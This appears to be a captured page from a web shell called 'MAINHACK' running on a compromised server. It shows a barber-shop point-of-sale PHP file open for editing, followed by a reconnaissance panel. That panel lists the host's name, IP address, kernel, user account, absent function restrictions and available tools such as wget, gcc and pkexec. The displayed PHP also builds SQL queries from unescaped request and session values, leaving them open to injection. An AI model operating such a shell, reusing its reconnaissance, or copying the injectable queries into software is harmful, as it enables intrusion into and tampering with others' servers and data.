[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: product-sales.php
<?php include("../admin/includes/functions/functions.php");?> <?php include("../admin/db/db.php");?> <?php if(!isset($_SESSION['username_Xw211qAAsq4'])) { header('Location: ../auth/'); exit(); } else{ $pageTitle = 'Product sales'; $shopname = $_SESSION['business_name_Xw211qAAsq4']; $currency = mysqli_query($new,"SELECT currency from barber_admin WHERE business_name = '$shopname'"); $fechC = mysqli_fetch_array($currency); $qurtyCurrency = $fechC['currency']; $notificationType = "success"; if(isset($_POST['del'])){ $ID = test_input($_POST['ID']); $ID = mysqli_real_escape_string($new,$_POST['poo_id']); $DEuL = mysqli_query($new,"DELETE FROM product_sales WHERE po_id = '$ID'"); $DEL = mysqli_query($new,"DELETE FROM invoice_order_item WHERE sales_id = '$ID'"); } if(isset($_POST['payment'])){ $cat_name = test_input($_POST['cat_name']); $amount = test_input($_POST['amount']); $payment_mode = test_input($_POST['payment_mode']); $sum1 = mysqli_query($new,"SELECT amount_paid FROM product_sales WHERE po_id = '$cat_name'"); $sam = mysqli_fetch_array($sum1); $donesam = $sam['amount_paid']; $paidAmnt = $donesam + $amount; $stmt = $con->prepare("update product_sales set amount_paid = ?,payment_mode = ? where po_id = ? "); $stmt->execute(array($paidAmnt,$payment_mode,$cat_name)); } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title> <?php echo $pageTitle;?> - <?php echo $shopname;?></title> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <link href="plugins/datatables/dataTables.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/responsive.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/buttons.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/select.bootstrap4.css" rel="stylesheet" type="text/css" /> <link rel="shortcut icon" href="../assets/icon.png" type="image/x-icon"> <link rel="icon" href="../assets/icon.png" type="image/x-icon"> <script src="https://code.jquery.com/jquery-3.6.4.min.js" integrity="sha256-oP6HI9z1XaZNBrJURtCoUT5SUnxFr8s3BzRl+cbzUq8=" crossorigin="anonymous"></script> <!-- App css --> <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/theme.min.css" rel="stylesheet" type="text/css" /> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <style> #preloader { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 9999; background-color: #fff; } #loader { display: block; position: absolute; top: 50%; left: 50%; border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 70px; height: 70px; animation: spin 2s linear infinite; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .table { border-collapse: collapse; border-radius: 8px; overflow: hidden; } .table th, .table td { padding: 12px; line-height: 1.6; border: 1px solid #ddd; } .table thead { background: linear-gradient(to bottom, #4a90e2, #428bca); color: #ffffff; font-weight: bold; } .table-hover tbody tr:hover { background-color: #f5f5f5; } .table-responsive { max-width: 100%; overflow-x: auto; } .table-sm { font-size: 0.9rem; /* Smaller font for compact tables */ } .table td ul { list-style: none; padding: 0; margin: 0; } .table td ul li { display: inline; margin-right: 8px; } </style> </head> <body> <div id="preloader"> <div id="loader"></div> </div> <!-- Begin page --> <div id="layout-wrapper"> <div class="header-border"></div> <?php include("includes/template/head.php");?> <?php include("includes/template/side.php");?> <div class="main-content"> <div class="page-content"> <div class="container-fluid"> <!-- start page title --> <div class="row"> <div class="col-12"> <div class="page-title-box d-flex align-items-center justify-content-between"> <h4 class="mb-0 font-size-18">Product sales</h4> <div class="page-title-right"> <ol class="breadcrumb m-0"> <li class="breadcrumb-item"><a href="javascript: void(0);"><?= $shopname;?></a></li> <li class="breadcrumb-item active"><?php echo $pageTitle;?></li> </ol> </div> </div> </div> </div> <!-- end page title --> <div class="row"> <div class="col-lg-12"> <div class="card"> <div class="card-body"> <?php $stmt = $con->prepare("SELECT account_type FROM barber_admin WHERE username = ? and business_name = ?"); $stmt->execute(array($username,$shopname)); $userstatus = $stmt->fetchAll(); foreach($userstatus as $sta) { $namee = $sta['account_type']; } $select_role = mysqli_query($new,"SELECT * FROM role_permissions WHERE business_name = '$shopname' and type = '$namee' and page_name = 'POS'"); $rowroles = mysqli_fetch_array($select_role); $updaterecord = $rowroles['updaterecord']; $deleterecord = $rowroles['deleterecord']; $add_db = $rowroles['add']; $type = $rowroles['type']; $status = $rowroles['status']; ?> <?php if($namee != "Admin"){?> <a href="pos" class="btn btn-primary">POS</a> <?php } elseif($namee == "Admin" and $status == '1' ) {?> <a href="pos" class="btn btn-primary">POS</a> <?php } elseif ($namee == "Admin" and $status == '0'){?> <a href="#" class="btn btn-primary disabled">POS</a><?php }?> <br /><br /> <div class="table-responsive"> <table id="basic-datatable" class="table table-hover table-striped table-bordered"> <thead style="background-color:#428bca;border:#428bca"> <tr style="color: #ffffff;"> <th>#</th> <th>Buyer</th> <th>Total</th> <th>Disc</th> <th>Net</th> <th>Paid</th> <th>Balance</th> <th>Payment</th> <th>Date</th> <th>Manage</th> </tr> </thead> <?php $cont = 1; $stmt = $con->prepare("SELECT * FROM product_sales s, clients c WHERE s.buy_id = c.client_id and s.business_name = ? ORDER BY s.po_id DESC"); $stmt->execute(array($shopname)); $rows_services = $stmt->fetchAll(); foreach($rows_services as $service){ ?> <tr> <td><?php echo $cont++;?></td> <td><?php echo $service['first_name'].' '.$service['last_name'];?></td> <td><?php echo number_format($service['total_amount'],2).''.$qurtyCurrency;?></td> <td> <?php $total = $service['total_amount']; $disc = $service['discount']; $money = ($disc / 100) * $total; echo $dis = number_format($money,2).''.$qurtyCurrency; ?> </td> <td><?php $gross = $service['total_amount']; echo $net = number_format($gross - $dis,2).''.$qurtyCurrency;?> </td> <td><?php echo number_format($service['amount_paid'],2).''.$qurtyCurrency ;?></td> <td><?php echo $balance = number_format($net - $service['amount_paid'],2).''.$qurtyCurrency ;?></td> <td><?php echo $service['payment_mode'] ;?></td> <td><?php echo $service['sold_date'] ;?></td> <td> <?php $payment_data = "payment_".$service["po_id"];?> <?php $delete_data = "dete_".$service["po_id"];?> <?php $edit_data = $service["po_id"];?> <!-- <li class="list-inline-item" data-toggle="tooltip" title="Payment"> <a href="#" data-toggle="modal" data-target="#<?php echo $payment_data; ?>" data-placement="top"><i class="fa fa-edit"></i></a> </li> --> <?php if($namee != "Admin"){?> <li class="list-inline-item" data-toggle="tooltip" title="Payment"> <a href="#" data-toggle="modal" data-target="#<?php echo $payment_data; ?>" data-placement="top"><i class="fa fa-edit"></i></a> </li> <!-- <button type="button" disabled class="btn btn-primary waves-effect waves-light">Add Service</button> --> <?php } elseif($namee == "Admin" and $updaterecord == '1' ) {?> <li class="list-inline-item" data-toggle="tooltip" title="Payment"> <a href="#" data-toggle="modal" data-target="#<?php echo $payment_data; ?>" data-placement="top"><i class="fa fa-edit"></i></a> </li> <?php } elseif ($namee == "Admin" and $updaterecord == '0'){?> <li class="list-inline-item" data-toggle="tooltip" title="Locked"> <a class="disabled" data-placement="top"><i class="fa fa-edit"></i></a> </li> <?php }?> <li class="list-inline-item" data-toggle="tooltip" title="Invoice"> <a href="invoice?INVOICEID=<?php echo $edit_data; ?>" data-placement="top"><i class="fa fa-print" style="color:green"></i></a> </li> <?php if($namee != "Admin"){?> <li class="list-inline-item" data-toggle="tooltip" title="Delete"> <a href="#" data-toggle="modal" data-target="#<?php echo $delete_data; ?>" data-placement="top"><i class="fa fa-trash-alt" style="color:red"></i></a> </li> <?php } elseif($namee == "Admin" and $deleterecord == '1' ) {?> <li class="list-inline-item" data-toggle="tooltip" title="Delete"> <a href="#" data-toggle="modal" data-target="#<?php echo $delete_data; ?>" data-placement="top"><i class="fa fa-trash-alt" style="color:red"></i></a> </li> <?php } elseif ($namee == "Admin" and $deleterecord == '0'){?> <li class="list-inline-item" data-toggle="tooltip" title="Locked"> <a class="disabled" data-placement="top"><i class="fa fa-trash-alt" style="color:red"></i></a> </li> <?php }?> <!-- <li class="list-inline-item" data-toggle="tooltip" title="Delete"> <a href="#" data-toggle="modal" data-target="#<?php echo $delete_data; ?>" data-placement="top"><i class="fa fa-trash-alt" style="color:red"></i></a> </li> --> <ul> <div class="modal fade" id="<?php echo $payment_data; ?>" tabindex="-1" role="dialog" aria-labelledby="<?php echo $payment_data; ?>" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">Record payment</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <div class="form-group"> <form method="POST"> <label for="category_name">Payment amount</label> <input type="hidden" name="cat_name" value="<?php echo $service["po_id"]; ?>"> <input type="number" name="amount" class="form-control" value="<?php echo $balance = $net - $service['amount_paid']; ?>"> <br /> <label for="client_id"> Paid by</label> <br /> <select class="select2 form-control" name="payment_mode"> <option value="">Select option</option> <option value="Cash">Cash</option> <option value="Momo(MTN)">Momo(MTN)</option> <option value="Momo(Voda)">Momo(Voda)</option> <option value="Bank Transfer">Bank Transfer</option> <option value="Card payment">Card payment</option> </select> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button> <button type="submit" name="payment" class="btn btn-success edit_category_bttn">Save</button> </form> </div> </div> </div> </div> <div class="modal fade" id="<?php echo $delete_data; ?>" tabindex="-1" role="dialog" aria-labelledby="<?php echo $delete_data; ?>" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">Delete Product sales</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <form method="POST"> Are you sure you want to delete this Product sales? </div> <input type="hidden" name="poo_id" value="<?php echo $service["po_id"]; ?>"> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button> <button type="submit" name="del" class="btn btn-success">Delete</button> </form> </div> </div> </div> </div> </li> </ul> </td> </tr> <?php };?> </tbody> </table> </div> </div> <!--end card body--> </div> <!-- end card--> </div> <!-- end col --> </div> <!--end row--> </div> <!-- container-fluid --> </div> <!-- End Page-content --> <?php include("includes/template/newfooter.php");?> </div> <!-- end main content--> </div> <!-- END layout-wrapper --> <!-- Overlay--> <div class="menu-overlay"></div> <?php include("includes/modals/ProductModal.php");?> <script src="assets/js/jquery.min.js"></script> <script src="assets/js/bootstrap.bundle.min.js"></script> <script src="assets/js/metismenu.min.js"></script> <script src="assets/js/waves.js"></script> <script src="assets/js/simplebar.min.js"></script> <script src="plugins/raphael/raphael.min.js"></script> <script src="assets/pages/dashboard-demo.js"></script> <script src="assets/js/theme.js"></script> <script src="plugins/datatables/jquery.dataTables.min.js"></script> <script src="plugins/datatables/dataTables.bootstrap4.js"></script> <script src="plugins/datatables/dataTables.responsive.min.js"></script> <script src="plugins/datatables/responsive.bootstrap4.min.js"></script> <script src="plugins/datatables/dataTables.buttons.min.js"></script> <script src="plugins/datatables/buttons.bootstrap4.min.js"></script> <script src="plugins/datatables/dataTables.keyTable.min.js"></script> <script src="plugins/datatables/dataTables.select.min.js"></script> <script src="assets/pages/datatables-demo.js"></script> <script type="text/javascript"> document.onreadystatechange = function() { if (document.readyState !== "complete") { document.querySelector("#preloader").style.display = "block"; } else { document.querySelector("#preloader").style.display = "none"; } }; </script> <!-- jQuery --> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.02 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002